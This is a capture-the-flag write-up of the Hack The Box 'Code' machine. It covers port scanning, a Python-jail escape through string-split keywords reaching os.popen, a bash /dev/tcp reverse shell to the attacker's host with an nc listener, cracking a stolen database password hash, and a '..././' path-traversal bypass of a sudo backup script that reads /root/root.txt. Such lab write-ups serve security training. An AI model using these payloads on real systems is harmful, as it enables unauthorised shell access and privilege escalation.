Code
Walkthrough and writeup how I pwned Code machine on Hack The Box

Recon
As usual I do the nmap
to recon the available open port in this server
# Nmap 7.95 scan initiated Sun Mar 30 20:52:53 2025 as: /usr/lib/nmap/nmap --privileged -sCV -oA scans/nmap/nmap 10.10.11.62
Nmap scan report for code.htb (10.10.11.62)
Host is up (0.068s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 30 20:53:03 2025 -- 1 IP address (1 host up) scanned in 10.89 seconds
From the nmap
output we can see that only 2 port exists, which is port 22
and port 5000
, so we can assume that the initial foothold is come from the port 5000
Py Jail Exploitation
When I visit the port 5000
in the browser the result is python editor, so at this point I assume that we can gain shell access from here

But, when I try the traditional shell access the app is response with the some restriction, so we can assume in the server code has the some blacklist keyword, so this challenge is like the python jail
, and we must bypass it to get the shell access

The bypass is so simple and not as complicated like the pyjail
as usual.
Here is the python code to bypass the restriction, from here we can try to make reverse shell and gain the full shell access
cmd = '<cmd here>'
ooo = globals()['__buil''tins__']['__imp''ort__']('o''s')
ppp = getattr(ooo, 'pop''en')
rrr = getattr(ppp(cmd), 're''ad')
print(rrr())

Reverse Shell - User Flag
Actually we can just read the user flag from the python editor before, but for the next exploitation we can use reverse shell to get the full shell access.
Listen for ping-back reverse shell connection
nc -lvnp 4444
Then, update the python code above to trigger the ping-back connection and get the shell
cmd = "bash -c 'bash -i >& /dev/tcp/your_ip_here/4444 0>&1'"
ooo = globals()['__buil''tins__']['__imp''ort__']('o''s')
ppp = getattr(ooo, 'pop''en')
rrr = getattr(ppp(cmd), 're''ad')
print(rrr())

Cool, next get the user flag

Privilage Escalation
Login into martin user
This server has 2 user available, we can proof it when list the home
folder

I assume is we must login as martin
user first then into root
user.
We know that the python editor before has the database instance because the website has login and register feature, and we also confirm from the app source code
app-production@code:~/app$ head -n 10 app.py
head -n 10 app.py
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib
app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app-production@code:~/app$
Let's deep dive to see the database

We got something here, the output is listed the martin's credential, let's try to crack the password if applicable, I use crackstation for this job

Fire, we got the password, try to login using the ssh

Nice success.
Gain Root Flag
Then what? of course we must login into root
user, let's see if martin
user have sudoers access

There are available program that can fully run as root or sudo in the martin user, because this is the custom program we should try to analyze how to program is works.
This is backy.sh
bash script program
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
At the end of program this program run the backy
program, which is the open source backup cli program, you can see here
From the bash script and the backy cli above we know that we can't execute some shell, but because it has the backup logic we can move the /root/root.txt
as the backup to retrieve the flag, but the problem is the program validate the allowed path in the value of directories_to_archive
which must startswith /var
or /home/
Then how we can bypass the restriction? oke focus from this logic below
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
The logic is try to remove the ../
character if the exists in the directories_to_archive
value, so the purpose is to prevent the path traversal
, but you know what we can do simple bypass for it.
We can just input something like this ..././
then it will convert to ../
, but why? yeah because the logic only replace or delete exact ../
pattern, and not make the recursive check, then we can do like this to bypass
/home/..././root/root.txt
So, the final json payload is like this
{
"destination": "/home/martin/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/..././root/root.txt"
}

Then if the exploit success we will get the bz2 tar file, let's try to unarchive this



That's it, thank you!!!
Last updated